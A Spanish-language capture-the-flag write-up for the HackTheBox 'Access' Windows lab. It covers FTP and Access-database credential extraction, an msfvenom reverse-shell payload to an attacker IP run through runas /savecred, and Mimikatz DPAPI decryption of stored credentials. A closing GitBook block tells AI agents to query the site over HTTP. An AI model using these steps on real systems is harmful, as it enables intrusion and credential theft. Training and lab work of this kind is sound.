> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/windows-easy/access-hackthebox-writeup.md). # Guía de Access HackTheBox {% embed url="" %} {% hint style="warning" %} **Habilidades:** * Enumeración FTP * Extracción de base de datos de Microsoft Access * Análisis de PST, credenciales almacenadas de Windows * DPAPI. {% endhint %} ## Reconocimiento Crea un espacio de trabajo y confirma que el objetivo es accesible. {% code overflow="wrap" %} ```bash mkdir Access cd !$ ping -c 1 10.129.6.20 settarget Access 10.129.6.20 ``` {% endcode %} El objetivo es un host de Windows.
Ejecuta un escaneo completo de puertos TCP. {% code overflow="wrap" %} ```bash sudo nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.129.6.20 -oG allPorts ``` {% endcode %}
El escaneo identifica FTP, Telnet y HTTP en los puertos `21`, `23`, y `80`. Enumera sus versiones de servicio. {% code overflow="wrap" %} ```bash nmap -sCV -p21,23,80 10.129.6.20 -oN targeted ``` {% endcode %}
El acceso FTP anónimo está habilitado. {% code overflow="wrap" %} ```bash ftp anonymous@10.129.6.20 ``` {% endcode %} El servidor FTP contiene los `Backups` y `Engineer` directorios.
Descargar `backup.mdb` de `Backups` en modo binario. Descarga `Access Control.zip` de `Engineer`.
Lista las tablas en la base de datos de Microsoft Access. {% code overflow="wrap" %} ```bash mdb-tables backup.mdb ``` {% endcode %}
Exporta cada tabla a CSV para revisarla. {% code overflow="wrap" %} ```bash for table in $(mdb-tables backup.mdb); do mdb-export backup.mdb "$table" > "$table.csv" done ``` {% endcode %}
El `auth_user.csv` la exportación contiene credenciales. {% code overflow="wrap" %} ```bash id,username,password,Status,last_login,RoleID,Remark 25,"admin","admin",1,"08/23/18 21:11:47",26, 27,"engineer","access4u@security",1,"08/23/18 21:13:36",26, 28,"backup_admin","admin",1,"08/23/18 21:14:02",26, ``` {% endcode %}
Usa el `engineer` contraseña para extraer el archivo. {% code overflow="wrap" %} ```bash 7z x Access\ Control.zip access4u@security ``` {% endcode %} El archivo contiene un archivo PST de Outlook. > Access Control.pst: Microsoft Outlook Personal Storage (>=2003, Unicode, version 23), dwReserved1=0x234, dwReserved2=0x22f3a, bidUnused=0000000000000000, dwUnique=0x39, 271360 bytes, bCryptMethod=1, CRC32 0x744a1e2e
Extrae los mensajes del PST. {% code overflow="wrap" %} ```bash readpst -cv -e -o output Access\ Control.pst ``` {% endcode %} Esto crea un `.eml` mensaje.
El correo revela la `security` contraseña de la cuenta. {% code overflow="wrap" %} ```bash Hola, La contraseña de la cuenta “security” se ha cambiado a 4Cc3ssC0ntr0ller. Asegúrate de transmitir esto a tus ingenieros. Saludos, John ``` {% endcode %}
Inicia sesión en Telnet como `security`. {% code overflow="wrap" %} ```bash telnet 10.129.6.20 23 ``` {% endcode %} * security * 4Cc3ssC0ntr0ller
Recupera `user.txt`.
### Escalada de privilegios con credenciales almacenadas Enumera las credenciales almacenadas por Windows. {% code overflow="wrap" %} ```bash cmdkey /list ``` {% endcode %}
Las credenciales almacenadas `ACCESS\Administrator` pueden ejecutar un proceso con `runas /savecred`. Crea un payload de shell inversa. {% code overflow="wrap" %} ```bash msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.15.2 LPORT=1234 -f exe > nikos.exe ``` {% endcode %} Transferir `nikos.exe` al objetivo. Luego inicia un listener en el puerto `1234`. {% code overflow="wrap" %} ```bash nc -nlvp 1234 ``` {% endcode %} Ejecuta el payload como `ACCESS\Administrator`. {% code overflow="wrap" %} ```bash runas /savecred /user:ACCESS\Administrator "nikos.exe" ``` {% endcode %} La shell de retorno se ejecuta como Administrator.
Recupera `root.txt`.
### Recuperación de la credencial de administrador guardada La credencial guardada está protegida con DPAPI. Recupera su secreto del `security` perfil. #### Localiza los blobs de credenciales Los blobs están en el `security` perfil. Usa `/a` porque los archivos están ocultos. {% code overflow="wrap" %} ```bash dir /a C:\Users\security\AppData\Roaming\Microsoft\Credentials ``` {% endcode %} * `0F16D9D2A97B325E559235F507B7AB01` * `51AB168BE4BDB3A603DADE4F8CA81290`
El blob correcto es `51AB168BE4BDB3A603DADE4F8CA81290`. Su `08/22/2018` marca de tiempo coincide con el Escritorio público `.lnk` archivo. El otro blob fue creado durante la evaluación. #### Identifica el GUID de la clave maestra Inspecciona el blob para identificar la clave maestra DPAPI requerida. {% code overflow="wrap" %} ```bash mimikatz.exe "dpapi::cred /in:C:\Users\security\AppData\Roaming\Microsoft\Credentials\51AB168BE4BDB3A603DADE4F8CA81290" "exit" ``` {% endcode %} Anota el GUID de la clave maestra. * guidMasterKey: 0792c32e-48a5-4fe3-8b43-d93d64590580
#### Comprueba LSASS en busca de la clave maestra Vuelca las claves maestras DPAPI cargadas en LSASS. {% code overflow="wrap" %} ```bash mimikatz.exe "privilege::debug" "sekurlsa::dpapi" "exit" ``` {% endcode %} El GUID requerido `{0792c32e-...}` está ausente. Esto ocurre porque: * La clave maestra pertenece a la `security` perfil. * La sesión actual se ejecuta como `Administrador`. * El `security` la clave maestra no está cargada en este contexto. El volcado solo contiene claves maestras para `Administrador` y `ACCESS$`. ``` GUID : {9851d4a5-f9b1-4277-b4ee-188e11f8e997} → Administrator GUID : {43ea2159-28dc-4507-90bd-751f19e7db5d} → ACCESS$ ``` #### Descifra la clave maestra desde el disco Descifra la clave maestra directamente desde el disco. Usa el conocido `security` contraseña. Primero, localiza el archivo de la clave maestra. {% code overflow="wrap" %} ```bash dir /a C:\Users\security\AppData\Roaming\Microsoft\Protect\S-1-5-21-953262931-566350628-63446256-1001 ``` {% endcode %} {% hint style="info" %} El `security` El SID termina en `-1001`. El SID del Administrador termina en `-500`. {% endhint %} Descifra la clave maestra con Mimikatz. {% code overflow="wrap" %} ```bash mimikatz.exe "dpapi::masterkey /in:C:\Users\security\AppData\Roaming\Microsoft\Protect\S-1-5-21-953262931-566350628-63446256-1001\0792c32e-48a5-4fe3-8b43-d93d64590580 /sid:S-1-5-21-953262931-566350628-63446256-1001 /password:4Cc3ssC0ntr0ller" "exit" ``` {% endcode %} El SHA-1 de la clave maestra es `bf6d0654ef999c3ad5b09692944da3c0d0b68afe`.
#### Descifra el blob de credenciales Usa el SHA-1 de la clave maestra para descifrar el blob de credenciales y recuperar la contraseña guardada. {% code overflow="wrap" %} ```bash mimikatz.exe "dpapi::cred /in:C:\Users\security\AppData\Roaming\Microsoft\Credentials\51AB168BE4BDB3A603DADE4F8CA81290 /masterkey:bf6d0654ef999c3ad5b09692944da3c0d0b68afe" "exit" ``` {% endcode %}
--- # Agent Instructions This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com. ## Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation by asking a question. Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters: ``` GET https://hacking-notes.jord4n.pro/es/writeups-ctf/hackthebox/windows-easy/access-hackthebox-writeup.md?ask=&goal= ``` `ask` is the immediate question: it should be specific, self-contained, and written in natural language. `goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.